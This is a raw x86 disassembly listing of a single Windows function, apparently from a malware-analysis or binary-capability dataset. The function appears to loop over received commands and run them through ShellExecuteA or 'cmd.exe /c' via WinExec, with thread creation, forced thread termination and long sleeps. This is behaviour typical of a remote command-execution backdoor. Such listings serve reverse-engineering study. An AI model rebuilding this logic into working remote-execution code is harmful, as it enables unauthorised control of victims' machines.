Function at 0x405da0
Capabilities:
Create process on windows
Create thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x549e88
mov eax, dword fs:[0]
push eax
sub esp, 0xe4
mov eax, dword [0x5aaef0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xf0], ecx
push 0xffffffffffffffff
push 0
lea eax, [ebp + 8]
mov dword [ebp - 4], 1
push eax
lea ecx, [ebp - 0xb8]
mov dword [ebp - 0xa4], 0xf
mov dword [ebp - 0xa8], 0
mov byte [ebp - 0xb8], 0
call fcn.00402ae0
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
mov byte [ebp - 4], 2
cmovae eax, dword [ebp + 0x20]
push eax
call fcn.004056d0
mov dword [ebp - 0xe8], 0
mov dword [ebp - 0xe4], 0
mov dword [ebp - 0xe0], 0
sub esp, 0x14
mov byte [ebp - 4], 3
mov ecx, esp
push 1
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push 0x55b170
mov byte [ecx], 0
call fcn.00402c10
lea eax, [ebp - 0xe8]
push eax
lea eax, [ebp - 0xb8]
push eax
call fcn.00407010
mov ecx, dword [ebp - 0xe4]
mov eax, 0x2aaaaaab
mov ebx, dword [ebp - 0xe8]
xor edi, edi
sub ecx, ebx
mov dword [ebp - 0xdc], edi
imul ecx
add esp, 0x20
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0xec], eax
je 0x40663d
or ebx, 0xffffffff
cmp edi, 1
jne 0x405f77
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea ecx, [ebp - 0xd1]
mov esi, eax
call fcn.004dd0a0
push esi
lea ecx, [ebp - 0xd1]
mov byte [ebp - 4], 4
call fcn.00409960
mov edi, eax
call fcn.0040c608
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
je 0x40675d
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0xd8], esi
push edi
lea ecx, [ebp - 0xd1]
mov byte [ebp - 4], 5
call fcn.00409c20
mov edi, eax
call fcn.00403a10
call fcn.004043c0
test eax, eax
jne 0x406725
call fcn.004045c0
test eax, eax
jne 0x406725
push edi
call fcn.0040b2d3
add esp, 4
push 0x124f80
call dword [sym.imp.KERNEL32.dll_Sleep]
add esi, 0xfffffff0
mov byte [ebp - 4], 4
mov ecx, ebx
lea eax, [esi + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x405f62
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0xd1]
mov byte [ebp - 4], 3
call fcn.00479b40
mov edi, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0xe8]
lea eax, [edi + edi*2]
push 0xffffffffffffffff
push 0
xor bl, bl
mov dword [ebp - 0x14], 0xf
lea eax, [ecx + eax*8]
mov dword [ebp - 0x18], 0
push eax
lea ecx, [ebp - 0x28]
mov byte [ebp - 0x28], bl
call fcn.00402ae0
push 7
push 0
push str.__shell
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 6
call fcn.00403120
cmp eax, 0xffffffff
je 0x40605f
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x28]
add eax, 0xfffffff9
push eax
push 0
lea eax, [ebp - 0x88]
push eax
call fcn.00407260
mov esi, eax
lea eax, [ebp - 0x28]
cmp eax, esi
je 0x406049
cmp dword [ebp - 0x14], 0x10
jb 0x405ff3
push dword [ebp - 0x28]
call fcn.0040b2d3
add esp, 4
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
cmp dword [esi + 0x14], 0x10
jae 0x406021
mov eax, dword [esi + 0x10]
inc eax
je 0x40602c
push eax
lea eax, [ebp - 0x28]
push esi
push eax
call fcn.00530560
add esp, 0xc
jmp 0x40602c
mov eax, dword [esi]
mov dword [ebp - 0x28], eax
mov dword [esi], 0
mov eax, dword [esi + 0x10]
mov dword [ebp - 0x18], eax
mov eax, dword [esi + 0x14]
mov dword [ebp - 0x14], eax
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
mov byte [esi], 0
cmp dword [ebp - 0x74], 0x10
jb 0x40605d
push dword [ebp - 0x88]
call fcn.0040b2d3
add esp, 4
mov bl, 1
push 0
push 0x55ae30
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0x8c], 0xf
mov dword [ebp - 0x90], 0
mov byte [ebp - 0xa0], 0
call fcn.00402c10
lea eax, [ebp - 0xa0]
mov byte [ebp - 4], 7
push eax
sub esp, 0x18
lea eax, [ebp - 0x28]
mov ecx, esp
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.00402ae0
call fcn.00404ee0
add esp, 0x1c
test eax, eax
je 0x4062d4
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0xa0]
push eax
lea ecx, [ebp - 0x28]
call fcn.00402ae0
mov dword [ebp - 0x74], 0xf
mov dword [ebp - 0x78], 0
mov byte [ebp - 0x88], 0
lea eax, [ebp - 0x88]
mov byte [ebp - 4], 8
push eax
sub esp, 0x18
lea eax, [ebp - 0x28]
mov ecx, esp
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.00402ae0
call fcn.00404a20
add esp, 0x1c
mov dword [ebp - 0x5c], 0xf
lea eax, [ebp + 0x20]
mov dword [ebp - 0x60], 0
lea ecx, [ebp - 0x70]
mov byte [ebp - 0x70], 0
push 0xffffffffffffffff
push 0
push eax
call fcn.00402ae0
lea eax, [ebp - 0x88]
mov byte [ebp - 4], 9
push eax
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.004031c0
add esp, 0xc
cmp dword [ebp - 0x5c], 0x10
mov byte [ebp - 4], 0xb
jb 0x40617a
push dword [ebp - 0x70]
call fcn.0040b2d3
add esp, 4
push 0
push 0
push 0
push 0x403e00
push 0
push 0
mov dword [ebp - 0x5c], 0xf
mov dword [ebp - 0x60], 0
mov byte [ebp - 0x70], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
mov esi, eax
mov ecx, esp
mov dword [ebp - 0xd8], esp
lea eax, [ebp - 0x58]
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.00402ae0
sub esp, 0x18
mov byte [ebp - 4], 0xc
mov ecx, esp
lea eax, [ebp - 0x28]
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.00402ae0
mov byte [ebp - 4], 0xb
call fcn.00403e20
add esp, 0x30
test eax, eax
je 0x406271
lea eax, [ebp - 0x58]
test bl, bl
jne 0x406228
cmp dword [ebp - 0x44], 0x10
push 1
cmovae eax, dword [ebp - 0x58]
push 0
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x406265
push eax
lea eax, [ebp - 0xd0]
push str.cmd.exe__c
push eax
call fcn.00403240
add esp, 0xc
cmp dword [eax + 0x14], 0x10
jb 0x406245
mov eax, dword [eax]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
cmp dword [ebp - 0xbc], 0x10
jb 0x406265
push dword [ebp - 0xd0]
call fcn.0040b2d3
add esp, 4
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call eax
test esi, esi
je 0x40629c
push 0
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x406295
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [0x5b0920], 0
cmp dword [ebp - 0x44], 0x10
jb 0x4062ad
push dword [ebp - 0x58]
call fcn.0040b2d3
add esp, 4
cmp dword [ebp - 0x74], 0x10
mov dword [ebp - 0x44], 0xf
mov dword [ebp - 0x48], 0
mov byte [ebp - 0x58], 0
jb 0x4065dd
push dword [ebp - 0x88]
jmp 0x4065d5
push 0
push 0x55ae30
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x2c], 0xf
mov dword [ebp - 0x30], 0
mov byte [ebp - 0x40], 0
call fcn.00402c10
push 4
push 0xffffffffffffffff
push str..exe
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0xd
call fcn.00406f80
cmp eax, 0xffffffff
je 0x4063c6
push 1
push 0xffffffffffffffff
push 0x55b0f0
lea ecx, [ebp - 0x28]
call fcn.00406f80
mov ecx, dword [ebp - 0x18]
sub ecx, eax
inc eax
dec ecx
push ecx
push eax
lea eax, [ebp - 0xd0]
push eax
lea ecx, [ebp - 0x28]
call fcn.00407260
mov esi, eax
lea eax, [ebp - 0x40]
cmp eax, esi
je 0x406371
cmp dword [ebp - 0x2c], 0x10
jb 0x406356
push dword [ebp - 0x40]
call fcn.0040b2d3
add esp, 4
push esi
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x2c], 0xf
mov dword [ebp - 0x30], 0
mov byte [ebp - 0x40], 0
call fcn.00402730
cmp dword [ebp - 0xbc], 0x10
jb 0x406388
push dword [ebp - 0xd0]
call fcn.0040b2d3
add esp, 4
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x40]
mov dword [ebp - 0x74], 0xf
push eax
lea ecx, [ebp - 0x88]
mov dword [ebp - 0x78], 0
mov byte [ebp - 0x88], 0
call fcn.00402ae0
cmp dword [ebp - 0x74], 0x10
jb 0x4063f5
push dword [ebp - 0x88]
call fcn.0040b2d3
add esp, 4
jmp 0x4063f5
lea eax, [ebp - 0x40]
push eax
sub esp, 0x18
lea eax, [ebp - 0x28]
mov ecx, esp
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.00402ae0
call fcn.00404a20
add esp, 0x1c
push 1
push 0xffffffffffffffff
push 0x55b170
lea ecx, [ebp - 0x40]
call fcn.00406f80
cmp eax, 0xffffffff
je 0x406438
cmp dword [ebp - 0x2c], 0x10
lea ecx, [ebp - 0x40]
mov eax, dword [ebp - 0x30]
cmovae ecx, dword [ebp - 0x40]
dec eax
add eax, ecx
cmp dword [ebp - 0x2c], 0x10
lea ecx, [ebp - 0x40]
cmovae ecx, dword [ebp - 0x40]
test eax, eax
je 0x40642d
sub eax, ecx
push 1
push eax
lea ecx, [ebp - 0x40]
call fcn.00403080
push 0xffffffffffffffff
push 0
lea eax, [ebp + 0x20]
mov dword [ebp - 0x5c], 0xf
push eax
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x60], 0
mov byte [ebp - 0x70], 0
call fcn.00402ae0
lea eax, [ebp - 0x40]
mov byte [ebp - 4], 0xe
push eax
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.004031c0
add esp, 0xc
cmp dword [ebp - 0x5c], 0x10
mov byte [ebp - 4], 0x10
jb 0x406487
push dword [ebp - 0x70]
call fcn.0040b2d3
add esp, 4
push 0
push 0
push 0
push 0x403e00
push 0
push 0
mov dword [ebp - 0x5c], 0xf
mov dword [ebp - 0x60], 0
mov byte [ebp - 0x70], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
mov esi, eax
mov ecx, esp
mov dword [ebp - 0xd8], esp
lea eax, [ebp - 0x58]
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.00402ae0
sub esp, 0x18
mov byte [ebp - 4], 0x11
mov ecx, esp
lea eax, [ebp - 0x28]
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.00402ae0
mov byte [ebp - 4], 0x10
call fcn.00403e20
add esp, 0x30
test eax, eax
je 0x40657e
lea eax, [ebp - 0x58]
test bl, bl
jne 0x406535
cmp dword [ebp - 0x44], 0x10
push 1
cmovae eax, dword [ebp - 0x58]
push 0
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x406572
push eax
lea eax, [ebp - 0xd0]
push str.cmd.exe__c
push eax
call fcn.00403240
add esp, 0xc
cmp dword [eax + 0x14], 0x10
jb 0x406552
mov eax, dword [eax]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
cmp dword [ebp - 0xbc], 0x10
jb 0x406572
push dword [ebp - 0xd0]
call fcn.0040b2d3
add esp, 4
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call eax
test esi, esi
je 0x4065a9
push 0
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x4065a2
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [0x5b0920], 0
cmp dword [ebp - 0x44], 0x10
jb 0x4065ba
push dword [ebp - 0x58]
call fcn.0040b2d3
add esp, 4
cmp dword [ebp - 0x2c], 0x10
mov dword [ebp - 0x44], 0xf
mov dword [ebp - 0x48], 0
mov byte [ebp - 0x58], 0
jb 0x4065dd
push dword [ebp - 0x40]
call fcn.0040b2d3
add esp, 4
cmp dword [ebp - 0x8c], 0x10
jb 0x4065f4
push dword [ebp - 0xa0]
call fcn.0040b2d3
add esp, 4
cmp dword [ebp - 0x14], 0x10
mov dword [ebp - 0x8c], 0xf
mov dword [ebp - 0x90], 0
mov byte [ebp - 0xa0], 0
mov byte [ebp - 4], 3
jb 0x406624
push dword [ebp - 0x28]
call fcn.0040b2d3
add esp, 4
inc edi
mov dword [ebp - 0xdc], edi
cmp edi, dword [ebp - 0xec]
jb 0x405eab
mov ebx, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xf0]
call fcn.004058d0
push 0
push 0
push 0
push 0x4067c0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test ebx, ebx
je 0x4066a1
mov edi, dword [ebp - 0xe4]
mov esi, ebx
cmp ebx, edi
je 0x406698
lea ecx, [ecx]
cmp dword [esi + 0x14], 0x10
jb 0x406680
push dword [esi]
call fcn.0040b2d3
add esp, 4
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
mov byte [esi], 0
add esi, 0x18
cmp esi, edi
jne 0x406670
push ebx
call fcn.0040b2d3
add esp, 4
cmp dword [ebp - 0xa4], 0x10
jb 0x4066b8
push dword [ebp - 0xb8]
call fcn.0040b2d3
add esp, 4
cmp dword [ebp + 0x1c], 0x10
mov dword [ebp - 0xa4], 0xf
mov dword [ebp - 0xa8], 0
mov byte [ebp - 0xb8], 0
jb 0x4066e4
push dword [ebp + 8]
call fcn.0040b2d3
add esp, 4
cmp dword [ebp + 0x34], 0x10
mov dword [ebp + 0x1c], 0xf
mov dword [ebp + 0x18], 0
mov byte [ebp + 8], 0
jb 0x406707
push dword [ebp + 0x20]
call fcn.0040b2d3
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0052fe70
mov esp, ebp
pop ebp
ret 0x30
push edi
call fcn.0040b2d3
add esi, 0xfffffff0
mov byte [ebp - 4], 4
add esp, 4
lea eax, [esi + 0xc]
lock xadd dword [eax], ebx
dec ebx
test ebx, ebx
jg 0x406749
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0xd1]
mov byte [ebp - 4], 3
call fcn.00479b40
jmp 0x406637
push 0x80004005
call fcn.00403940
int3